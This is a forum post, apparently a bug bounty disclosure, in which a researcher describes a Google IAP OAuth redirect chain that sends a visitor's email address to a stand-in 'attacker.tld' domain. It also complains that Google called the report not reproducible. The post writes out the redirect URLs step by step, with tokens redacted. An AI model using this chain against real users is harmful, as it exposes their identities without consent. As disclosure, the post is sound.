谷歌修复了 Persona 个人身份信息泄露问题，随后声称“无法复现”
1 分•作者: bbounty_robbed•3 个月前
今年 2 月，我向 Google 的漏洞赏金团队报告了以下问题：
1. 用户访问 https://attacker.tld（这可能是故意的，也可能是通过弹窗实现的）
2. attacker.tld 通过状态码 302/301 将用户重定向到 OAuth 端点
2.1) 重定向 1：https://accounts.google.com/o/oauth2/v2/auth?client_id=[client-id] &response_type=code &scope=openid email &redirect_uri=https://iap.googleapis.com/v1/oauth/clientIds/[client-id]:handleRedirect &code_challenge=[redacted] &code_challenge_method=S256 &cred_ref=true &state=[redacted]
2.2) 重定向 2：https://iap.googleapis.com/v1/oauth/clientIds/[client-id]:handleRedirect?state=[redacted] &code=[redacted] &scope=email openid https://www.googleapis.com/auth/userinfo.email &authuser=0 &prompt=none
2.3) 重定向 3：https://attacker.tld/?gcp-iap-mode=AUTHENTICATING &redirect_token_v2=[redacted]
3. 用户的电子邮件地址在 HTTP 401 响应中被直接提供，作为 2.3 的结果，在 attacker.tld 域名上。由此我们知道，用户的电子邮件地址在未经同意的情况下被共享。
由于没有收到回复，我以为还在处理中。几周后，我回到他们的门户网站进行复查。他们回复了，但只在他们的门户网站内。工单来回沟通，声称无法复现。最后，我向他们提供了实时 URL https://withpersona-gov.com。
他们再次辩称该漏洞无法复现。巧合的是，就在我向他们提供 URL 后的 2 天，该网站就改为了重定向到 withpersona 主域名。
显然，这曾是或仍然是严重违反隐私法的行为。我觉得我被“煤气灯操纵”了。
查看原文
In Feb. I reported this to Google's Bug Bounty team:<p>1)User visits https://attacker.tld (this can be intentional or via a pop-under)<p>2) attacker.tld redirects users via status code 302/301 to the oauth endpoints<p>2.1) redirect 1: https://accounts.google.com/o/oauth2/v2/auth? client_id=[client-id] &response_type=code &scope=openid email &redirect_uri=https://iap.googleapis.com/v1/oauth/clientIds/[client-id]:handleRedirect &code_challenge=[redacted] &code_challenge_method=S256 &cred_ref=true &state=[redacted]<p>2.2) redirect 2: https://iap.googleapis.com/v1/oauth/clientIds/[client-id]:handleRedirect? state=[redacted] &code=[redacted] &scope=email openid https://www.googleapis.com/auth/userinfo.email &authuser=0 &prompt=none<p>2.3) redirect 3: https://attacker.tld/ ?gcp-iap-mode=AUTHENTICATING &redirect_token_v2=[redacted]<p>3) The user's email address is served directly in the HTTP 401 response as a result of 2.3, on the attacker.tld domain name. From this we know that the user's email address has been shared without consent.<p>Not having received a response, I assumed it was pending. Weeks later I went back to their portal to double check. They had responded, but only within their portal. The ticket went back and forth, claiming that it wasn't reproducible. Finally, I provided them with the live URL at https://withpersona-gov.com.<p>Once again they argued that the bug wasn't reproducible. Conveniently, the site had changed to redirect to the main withpersona domain, just 2 days after I provided them with the URL.<p>Obviously this would have been or still is a massive violation of privacy laws. I feel that I've been gaslit here.